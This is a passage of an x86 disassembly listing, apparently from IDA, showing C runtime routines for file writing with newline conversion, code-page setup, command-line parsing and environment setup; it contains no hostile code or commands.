call dword_4370C8 ; RtlEnterCriticalSection
pop edi
pop esi
pop ebx
retn
sub_43234B endp
; =============== S U B R O U T I N E =======================================
sub_4323AA proc near ; CODE XREF: sub_42BE29+80p
; sub_42F0D0+38p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, eax
and eax, 1Fh
sar ecx, 5
lea eax, [eax+eax*8]
mov ecx, dword_676EC0[ecx*4]
lea eax, [ecx+eax*4+0Ch]
push eax
call dword_437160 ; RtlLeaveCriticalSection
retn
sub_4323AA endp
; =============== S U B R O U T I N E =======================================
sub_4323CC proc near ; CODE XREF: sub_42C312+A2p
; sub_42DA95+95p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_676FC0
jnb short loc_432419
mov ecx, esi
mov eax, esi
sar ecx, 5
and eax, 1Fh
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
test byte ptr [ecx+eax*4+4], 1
jz short loc_432419
push edi
push esi
call sub_43234B
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push esi
call sub_432431
push esi
mov edi, eax
call sub_4323AA
add esp, 14h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432419: ; CODE XREF: sub_4323CC+Bj
; sub_4323CC+26j
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
pop esi
retn
sub_4323CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432431 proc near ; CODE XREF: sub_42BE29+22p
; sub_42BE29+2Ep ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_432451
loc_43244A: ; CODE XREF: sub_432431+169j
xor eax, eax
jmp loc_4325B7
; ---------------------------------------------------------------------------
loc_432451: ; CODE XREF: sub_432431+17j
mov eax, [ebp+arg_0]
sar eax, 5
lea ebx, ds:676EC0h[eax*4]
mov eax, [ebp+arg_0]
and eax, 1Fh
lea esi, [eax+eax*8]
mov eax, [ebx]
shl esi, 2
test byte ptr [eax+esi+4], 20h
jz short loc_432481
push 2
push edi
push [ebp+arg_0]
call sub_42F84D
add esp, 0Ch
loc_432481: ; CODE XREF: sub_432431+40j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_432550
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_43258B
loc_4324A1: ; CODE XREF: sub_432431+E4j
lea eax, [ebp+var_414]
loc_4324A7: ; CODE XREF: sub_432431+A8j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4324DB
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4324C6
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4324C6: ; CODE XREF: sub_432431+8Cj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4324A7
loc_4324DB: ; CODE XREF: sub_432431+7Fj
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_437078 ; WriteFile
test eax, eax
jz short loc_432545
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_432517
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_4324A1
loc_432517: ; CODE XREF: sub_432431+D9j
; sub_432431+11Dj
xor edi, edi
loc_432519: ; CODE XREF: sub_432431+13Fj
; sub_432431+14Aj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_4325B4
cmp [ebp+arg_0], edi
jz short loc_43258B
push 5
pop esi
cmp [ebp+arg_0], esi
jnz short loc_43257D
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
mov [eax], esi
jmp short loc_432586
; ---------------------------------------------------------------------------
loc_432545: ; CODE XREF: sub_432431+CFj
call dword_43716C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_432517
; ---------------------------------------------------------------------------
loc_432550: ; CODE XREF: sub_432431+58j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_437078 ; WriteFile
test eax, eax
jz short loc_432572
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_432519
; ---------------------------------------------------------------------------
loc_432572: ; CODE XREF: sub_432431+134j
call dword_43716C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_432519
; ---------------------------------------------------------------------------
loc_43257D: ; CODE XREF: sub_432431+FEj
push [ebp+arg_0]
call sub_42EFD6
pop ecx
loc_432586: ; CODE XREF: sub_432431+112j
; sub_432431+181j
or eax, 0FFFFFFFFh
jmp short loc_4325B7
; ---------------------------------------------------------------------------
loc_43258B: ; CODE XREF: sub_432431+6Aj
; sub_432431+F6j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_4325A0
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_43244A
loc_4325A0: ; CODE XREF: sub_432431+161j
call sub_42F049
mov dword ptr [eax], 1Ch
call sub_42F052
mov [eax], edi
jmp short loc_432586
; ---------------------------------------------------------------------------
loc_4325B4: ; CODE XREF: sub_432431+EDj
sub eax, [ebp+var_10]
loc_4325B7: ; CODE XREF: sub_432431+1Bj
; sub_432431+158j
pop edi
pop esi
pop ebx
leave
retn
sub_432431 endp
; =============== S U B R O U T I N E =======================================
sub_4325BC proc near ; CODE XREF: sub_4325ED+4p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
call sub_42C104
dec dword ptr [esi+4]
pop ecx
js short loc_4325D8
mov eax, [esi]
movzx edi, byte ptr [eax]
inc eax
mov [esi], eax
jmp short loc_4325E1
; ---------------------------------------------------------------------------
loc_4325D8: ; CODE XREF: sub_4325BC+10j
push esi
call sub_42F312
pop ecx
mov edi, eax
loc_4325E1: ; CODE XREF: sub_4325BC+1Aj
push esi
call sub_42C156
pop ecx
mov eax, edi
pop edi
pop esi
retn
sub_4325BC endp
; =============== S U B R O U T I N E =======================================
sub_4325ED proc near ; CODE XREF: sub_42BEB4+5p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4325BC
pop ecx
retn
sub_4325ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4325F8 proc near ; CODE XREF: sub_4329D0+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push 19h
call sub_42DA1F
push [ebp+arg_0]
call sub_4327A5 ; GetOEMCP
mov ebx, eax
pop ecx
cmp ebx, dword_676C7C
pop ecx
mov [ebp+arg_0], ebx
jnz short loc_432626
loc_43261F: ; CODE XREF: sub_4325F8+196j
xor esi, esi
jmp loc_432796
; ---------------------------------------------------------------------------
loc_432626: ; CODE XREF: sub_4325F8+25j
test ebx, ebx
jz loc_432784
xor edx, edx
mov eax, offset dword_453980
loc_432635: ; CODE XREF: sub_4325F8+4Aj
cmp [eax], ebx
jz short loc_4326AD
add eax, 30h
inc edx
cmp eax, offset dword_453A70
jl short loc_432635
lea eax, [ebp+var_18]
push eax
push ebx
call dword_4371D4 ; GetCPInfo
push 1
pop esi
cmp eax, esi
jnz loc_43277B
push 40h
and dword_676EA4, 0
pop ecx
xor eax, eax
mov edi, offset byte_676DA0
cmp [ebp+var_18], esi
rep stosd
stosb
mov dword_676C7C, ebx
jbe loc_432768
cmp [ebp+var_12], 0
jz loc_432743
lea ecx, [ebp+var_11]
loc_43268A: ; CODE XREF: sub_4325F8+145j
mov dl, [ecx]
test dl, dl
jz loc_432743
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_43269B: ; CODE XREF: sub_4325F8+B3j
cmp eax, edx
ja loc_432737
or byte_676DA1[eax], 4
inc eax
jmp short loc_43269B
; ---------------------------------------------------------------------------
loc_4326AD: ; CODE XREF: sub_4325F8+3Fj
and [ebp+var_4], 0
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_676DA0
lea esi, [edx+edx*2]
rep stosd
shl esi, 4
stosb
lea ebx, dword_453990[esi]
loc_4326CA: ; CODE XREF: sub_4325F8+10Fj
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_4326FD
loc_4326D1: ; CODE XREF: sub_4325F8+103j
mov dl, [ecx+1]
test dl, dl
jz short loc_4326FD
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_4326F6
mov edx, [ebp+var_4]
mov dl, byte_453978[edx]
loc_4326EB: ; CODE XREF: sub_4325F8+FCj
or byte_676DA1[eax], dl
inc eax
cmp eax, edi
jbe short loc_4326EB
loc_4326F6: ; CODE XREF: sub_4325F8+E8j
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_4326D1
loc_4326FD: ; CODE XREF: sub_4325F8+D7j
; sub_4325F8+DEj
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_4326CA
mov eax, [ebp+arg_0]
mov dword_676C8C, 1
push eax
mov dword_676C7C, eax
call sub_4327EF
lea esi, dword_453984[esi]
mov edi, offset dword_676C80
movsd
movsd
pop ecx
mov dword_676EA4, eax
movsd
jmp short loc_432789
; ---------------------------------------------------------------------------
loc_432737: ; CODE XREF: sub_4325F8+A5j
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_43268A
loc_432743: ; CODE XREF: sub_4325F8+89j
; sub_4325F8+96j
mov eax, esi
loc_432745: ; CODE XREF: sub_4325F8+15Aj
or byte_676DA1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_432745
push ebx
call sub_4327EF
pop ecx
mov dword_676EA4, eax
mov dword_676C8C, esi
jmp short loc_43276F
; ---------------------------------------------------------------------------
loc_432768: ; CODE XREF: sub_4325F8+7Fj
and dword_676C8C, 0
loc_43276F: ; CODE XREF: sub_4325F8+16Ej
xor eax, eax
mov edi, offset dword_676C80
stosd
stosd
stosd
jmp short loc_432789
; ---------------------------------------------------------------------------
loc_43277B: ; CODE XREF: sub_4325F8+5Cj
cmp dword_676A00, 0
jz short loc_432793
loc_432784: ; CODE XREF: sub_4325F8+30j
call sub_432822
loc_432789: ; CODE XREF: sub_4325F8+13Dj
; sub_4325F8+181j
call sub_43284B
jmp loc_43261F
; ---------------------------------------------------------------------------
loc_432793: ; CODE XREF: sub_4325F8+18Aj
or esi, 0FFFFFFFFh
loc_432796: ; CODE XREF: sub_4325F8+29j
push 19h
call sub_42DA80
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4325F8 endp
; =============== S U B R O U T I N E =======================================
sub_4327A5 proc near ; CODE XREF: sub_4325F8+13p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_676A00, 0
cmp eax, 0FFFFFFFEh
jnz short loc_4327C5
mov dword_676A00, 1
jmp dword_4371CC
; ---------------------------------------------------------------------------
loc_4327C5: ; CODE XREF: sub_4327A5+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_4327DA
mov dword_676A00, 1
jmp dword_4371D0
; ---------------------------------------------------------------------------
loc_4327DA: ; CODE XREF: sub_4327A5+23j
cmp eax, 0FFFFFFFCh
jnz short locret_4327EE
mov eax, dword_676998
mov dword_676A00, 1
locret_4327EE: ; CODE XREF: sub_4327A5+38j
retn
sub_4327A5 endp
; =============== S U B R O U T I N E =======================================
sub_4327EF proc near ; CODE XREF: sub_4325F8+124p
; sub_4325F8+15Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_43281C
sub eax, 4
jz short loc_432816
sub eax, 0Dh
jz short loc_432810
dec eax
jz short loc_43280A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43280A: ; CODE XREF: sub_4327EF+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_432810: ; CODE XREF: sub_4327EF+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_432816: ; CODE XREF: sub_4327EF+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_43281C: ; CODE XREF: sub_4327EF+9j
mov eax, 411h
retn
sub_4327EF endp
; =============== S U B R O U T I N E =======================================
sub_432822 proc near ; CODE XREF: sub_4325F8:loc_432784p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_676DA0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_676C80
mov dword_676C7C, eax
mov dword_676C8C, eax
mov dword_676EA4, eax
stosd
stosd
stosd
pop edi
retn
sub_432822 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43284B proc near ; CODE XREF: sub_4325F8:loc_432789p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_676C7C
call dword_4371D4 ; GetCPInfo
cmp eax, 1
jnz loc_432984
xor eax, eax
mov esi, 100h
loc_432875: ; CODE XREF: sub_43284B+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_432875
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_4328C6
push ebx
push edi
lea edx, [ebp+var_D]
loc_432894: ; CODE XREF: sub_43284B+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4328BB
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4328BB: ; CODE XREF: sub_43284B+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_432894
pop edi
pop ebx
loc_4328C6: ; CODE XREF: sub_43284B+42j
push 0
lea eax, [ebp+var_514]
push dword_676EA4
push dword_676C7C
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_43340D
push 0
lea eax, [ebp+var_214]
push dword_676C7C
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_676EA4
call sub_430CCF
push 0
lea eax, [ebp+var_314]
push dword_676C7C
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_676EA4
call sub_430CCF
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_432941: ; CODE XREF: sub_43284B+135j
mov dx, [ecx]
test dl, 1
jz short loc_43295F
or byte_676DA1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_432957: ; CODE XREF: sub_43284B+127j
mov byte_676CA0[eax], dl
jmp short loc_43297B
; ---------------------------------------------------------------------------
loc_43295F: ; CODE XREF: sub_43284B+FCj
test dl, 2
jz short loc_432974
or byte_676DA1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_432957
; ---------------------------------------------------------------------------
loc_432974: ; CODE XREF: sub_43284B+117j
and byte_676CA0[eax], 0
loc_43297B: ; CODE XREF: sub_43284B+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_432941
jmp short loc_4329CD
; ---------------------------------------------------------------------------
loc_432984: ; CODE XREF: sub_43284B+1Dj
xor eax, eax
mov esi, 100h
loc_43298B: ; CODE XREF: sub_43284B+180j
cmp eax, 41h
jb short loc_4329A9
cmp eax, 5Ah
ja short loc_4329A9
or byte_676DA1[eax], 10h
mov cl, al
add cl, 20h
loc_4329A1: ; CODE XREF: sub_43284B+174j
mov byte_676CA0[eax], cl
jmp short loc_4329C8
; ---------------------------------------------------------------------------
loc_4329A9: ; CODE XREF: sub_43284B+143j
; sub_43284B+148j
cmp eax, 61h
jb short loc_4329C1
cmp eax, 7Ah
ja short loc_4329C1
or byte_676DA1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_4329A1
; ---------------------------------------------------------------------------
loc_4329C1: ; CODE XREF: sub_43284B+161j
; sub_43284B+166j
and byte_676CA0[eax], 0
loc_4329C8: ; CODE XREF: sub_43284B+15Cj
inc eax
cmp eax, esi
jb short loc_43298B
loc_4329CD: ; CODE XREF: sub_43284B+137j
pop esi
leave
retn
sub_43284B endp
; =============== S U B R O U T I N E =======================================
sub_4329D0 proc near ; CODE XREF: sub_432B07+9p
; sub_432B5F+Dp ...
cmp dword_676EAC, 0
jnz short locret_4329EB
push 0FFFFFFFDh
call sub_4325F8
pop ecx
mov dword_676EAC, 1
locret_4329EB: ; CODE XREF: sub_4329D0+7j
retn
sub_4329D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4329EC proc near ; CODE XREF: sub_42BEC5+2Bp
; sub_42BEC5+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_676C8C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_432A10
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_429C40
add esp, 0Ch
jmp short loc_432A83
; ---------------------------------------------------------------------------
loc_432A10: ; CODE XREF: sub_4329EC+11j
push esi
push 19h
call sub_42DA1F
mov edx, [ebp+arg_8]
pop ecx
test edx, edx
jz short loc_432A5D
mov ecx, [ebp+arg_4]
loc_432A23: ; CODE XREF: sub_4329EC+63j
mov al, [ecx]
dec edx
movzx esi, al
test byte_676DA1[esi], 4
mov [edi], al
jz short loc_432A47
inc edi
inc ecx
test edx, edx
jz short loc_432A53
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_432A59
jmp short loc_432A4D
; ---------------------------------------------------------------------------
loc_432A47: ; CODE XREF: sub_4329EC+46j
inc edi
inc ecx
test al, al
jz short loc_432A5D
loc_432A4D: ; CODE XREF: sub_4329EC+59j
test edx, edx
jnz short loc_432A23
jmp short loc_432A5D
; ---------------------------------------------------------------------------
loc_432A53: ; CODE XREF: sub_4329EC+4Cj
and byte ptr [edi-1], 0
jmp short loc_432A5D
; ---------------------------------------------------------------------------
loc_432A59: ; CODE XREF: sub_4329EC+57j
and byte ptr [edi-2], 0
loc_432A5D: ; CODE XREF: sub_4329EC+32j
; sub_4329EC+5Fj ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_432A78
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_432A78: ; CODE XREF: sub_4329EC+77j
push 19h
call sub_42DA80
mov eax, [ebp+arg_0]
pop ecx
loc_432A83: ; CODE XREF: sub_4329EC+22j
pop edi
pop ebp
retn
sub_4329EC endp
; =============== S U B R O U T I N E =======================================
sub_432A86 proc near ; CODE XREF: sub_42C0F0+Ej
push ebx
push edi
push 2
xor ebx, ebx
call sub_42DA1F
pop ecx
push 3
pop edi
cmp dword_678000, edi
jle short loc_432AFA
push esi
loc_432A9E: ; CODE XREF: sub_432A86+71j
mov eax, dword_676FEC
mov esi, edi
shl esi, 2
mov eax, [esi+eax]
test eax, eax
jz short loc_432AF0
test byte ptr [eax+0Ch], 83h
jz short loc_432AC2
push eax
call sub_42A03B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_432AC2
inc ebx
loc_432AC2: ; CODE XREF: sub_432A86+2Dj
; sub_432A86+39j
cmp edi, 14h
jl short loc_432AF0
mov eax, dword_676FEC
mov eax, [esi+eax]
add eax, 20h
push eax
call dword_437164 ; RtlDeleteCriticalSection
mov eax, dword_676FEC
push dword ptr [esi+eax]
call sub_429822
mov eax, dword_676FEC
pop ecx
and dword ptr [esi+eax], 0
loc_432AF0: ; CODE XREF: sub_432A86+27j
; sub_432A86+3Fj
inc edi
cmp edi, dword_678000
jl short loc_432A9E
pop esi
loc_432AFA: ; CODE XREF: sub_432A86+15j
push 2
call sub_42DA80
pop ecx
mov eax, ebx
pop edi
pop ebx
retn
sub_432A86 endp
; =============== S U B R O U T I N E =======================================
sub_432B07 proc near ; CODE XREF: sub_42C4A4+B7p
cmp dword_676EAC, 0
jnz short loc_432B15
call sub_4329D0
loc_432B15: ; CODE XREF: sub_432B07+7j
push esi
mov esi, dword_676FE8
mov al, [esi]
cmp al, 22h
jnz short loc_432B47
loc_432B22: ; CODE XREF: sub_432B07+33j
; sub_432B07+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_432B3F
test al, al
jz short loc_432B3F
movzx eax, al
push eax
call sub_434C5E
test eax, eax
pop ecx
jz short loc_432B22
inc esi
jmp short loc_432B22
; ---------------------------------------------------------------------------
loc_432B3F: ; CODE XREF: sub_432B07+21j
; sub_432B07+25j
cmp byte ptr [esi], 22h
jnz short loc_432B51
loc_432B44: ; CODE XREF: sub_432B07+52j
inc esi
jmp short loc_432B51
; ---------------------------------------------------------------------------
loc_432B47: ; CODE XREF: sub_432B07+19j
cmp al, 20h
jbe short loc_432B51
loc_432B4B: ; CODE XREF: sub_432B07+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_432B4B
loc_432B51: ; CODE XREF: sub_432B07+3Bj
; sub_432B07+3Ej ...
mov al, [esi]
test al, al
jz short loc_432B5B
cmp al, 20h
jbe short loc_432B44
loc_432B5B: ; CODE XREF: sub_432B07+4Ej
mov eax, esi
pop esi
retn
sub_432B07 endp
; =============== S U B R O U T I N E =======================================
sub_432B5F proc near ; CODE XREF: sub_42C4A4+A0p
push ebx
xor ebx, ebx
cmp dword_676EAC, ebx
push esi
push edi
jnz short loc_432B71
call sub_4329D0
loc_432B71: ; CODE XREF: sub_432B5F+Bj
mov esi, dword_676904
xor edi, edi
loc_432B79: ; CODE XREF: sub_432B5F+30j
mov al, [esi]
cmp al, bl
jz short loc_432B91
cmp al, 3Dh
jz short loc_432B84
inc edi
loc_432B84: ; CODE XREF: sub_432B5F+22j
push esi
call sub_4292D0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_432B79
; ---------------------------------------------------------------------------
loc_432B91: ; CODE XREF: sub_432B5F+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_4296E8
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_6769CC, esi
jnz short loc_432BB3
push 9
call sub_42C5AC
pop ecx
loc_432BB3: ; CODE XREF: sub_432B5F+4Aj
mov edi, dword_676904
cmp [edi], bl
jz short loc_432BF6
push ebp
loc_432BBE: ; CODE XREF: sub_432B5F+94j
push edi
call sub_4292D0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_432BEF
push ebp
call sub_4296E8
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_432BE2
push 9
call sub_42C5AC
pop ecx
loc_432BE2: ; CODE XREF: sub_432B5F+79j
push edi
push dword ptr [esi]
call sub_42A500
pop ecx
add esi, 4
pop ecx
loc_432BEF: ; CODE XREF: sub_432B5F+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_432BBE
pop ebp
loc_432BF6: ; CODE XREF: sub_432B5F+5Cj
push dword_676904
call sub_429822
pop ecx
mov dword_676904, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_676EA8, 1
pop ebx
retn
sub_432B5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432C18 proc near ; CODE XREF: sub_42C4A4+9Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_676EAC, ebx
push esi
push edi
jnz short loc_432C2F
call sub_4329D0
loc_432C2F: ; CODE XREF: sub_432C18+10j
mov esi, offset dword_676A04
push 104h
push esi
push ebx
call dword_437178 ; GetModuleFileNameA
mov eax, dword_676FE8
mov dword_6769DC, esi
mov edi, esi
cmp [eax], bl
jz short loc_432C54
mov edi, eax
loc_432C54: ; CODE XREF: sub_432C18+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_432CB1
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_4296E8
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_432C84
push 8
call sub_42C5AC
pop ecx
loc_432C84: ; CODE XREF: sub_432C18+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_432CB1
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_6769C4, esi
pop edi
pop esi
mov dword_6769C0, eax
pop ebx
leave
retn
sub_432C18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432CB1 proc near ; CODE XREF: sub_432C18+47p
; sub_432C18+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_432CDB
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_432CDB: ; CODE XREF: sub_432CB1+20j
cmp byte ptr [eax], 22h
jnz short loc_432D24
loc_432CE0: ; CODE XREF: sub_432CB1+58j
; sub_432CB1+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_432D12
test dl, dl
jz short loc_432D12
movzx edx, dl
test byte_676DA1[edx], 4
jz short loc_432D05
inc dword ptr [ecx]
test esi, esi
jz short loc_432D05
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_432D05: ; CODE XREF: sub_432CB1+46j
; sub_432CB1+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_432CE0
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_432CE0
; ---------------------------------------------------------------------------
loc_432D12: ; CODE XREF: sub_432CB1+36j
; sub_432CB1+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_432D1C
and byte ptr [esi], 0
inc esi
loc_432D1C: ; CODE XREF: sub_432CB1+65j
cmp byte ptr [eax], 22h
jnz short loc_432D67
inc eax
jmp short loc_432D67
; ---------------------------------------------------------------------------
loc_432D24: ; CODE XREF: sub_432CB1+2Dj
; sub_432CB1+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_432D2F
mov dl, [eax]
mov [esi], dl
inc esi
loc_432D2F: ; CODE XREF: sub_432CB1+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_676DA1[ebx], 4
jz short loc_432D4A
inc dword ptr [ecx]
test esi, esi
jz short loc_432D49
mov bl, [eax]
mov [esi], bl
inc esi
loc_432D49: ; CODE XREF: sub_432CB1+91j
inc eax
loc_432D4A: ; CODE XREF: sub_432CB1+8Bj
cmp dl, 20h
jz short loc_432D58
test dl, dl
jz short loc_432D5C
cmp dl, 9
jnz short loc_432D24
loc_432D58: ; CODE XREF: sub_432CB1+9Cj
test dl, dl
jnz short loc_432D5F
loc_432D5C: ; CODE XREF: sub_432CB1+A0j
dec eax
jmp short loc_432D67
; ---------------------------------------------------------------------------
loc_432D5F: ; CODE XREF: sub_432CB1+A9j
test esi, esi
jz short loc_432D67
and byte ptr [esi-1], 0
loc_432D67: ; CODE XREF: sub_432CB1+6Ej
; sub_432CB1+71j ...
and [ebp+arg_10], 0
loc_432D6B: ; CODE XREF: sub_432CB1+19Ej
cmp byte ptr [eax], 0
jz loc_432E54
loc_432D74: ; CODE XREF: sub_432CB1+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_432D80
cmp dl, 9
jnz short loc_432D83
loc_432D80: ; CODE XREF: sub_432CB1+C8j
inc eax
jmp short loc_432D74
; ---------------------------------------------------------------------------
loc_432D83: ; CODE XREF: sub_432CB1+CDj
cmp byte ptr [eax], 0
jz loc_432E54
test edi, edi
jz short loc_432D98
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_432D98: ; CODE XREF: sub_432CB1+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_432D9D: ; CODE XREF: sub_432CB1+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_432DA6: ; CODE XREF: sub_432CB1+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_432DAF
inc eax
inc ebx
jmp short loc_432DA6
; ---------------------------------------------------------------------------
loc_432DAF: ; CODE XREF: sub_432CB1+F8j
cmp byte ptr [eax], 22h
jnz short loc_432DE0
test bl, 1
jnz short loc_432DDE
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_432DCD
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_432DCD
mov eax, edx
jmp short loc_432DD0
; ---------------------------------------------------------------------------
loc_432DCD: ; CODE XREF: sub_432CB1+10Dj
; sub_432CB1+116j
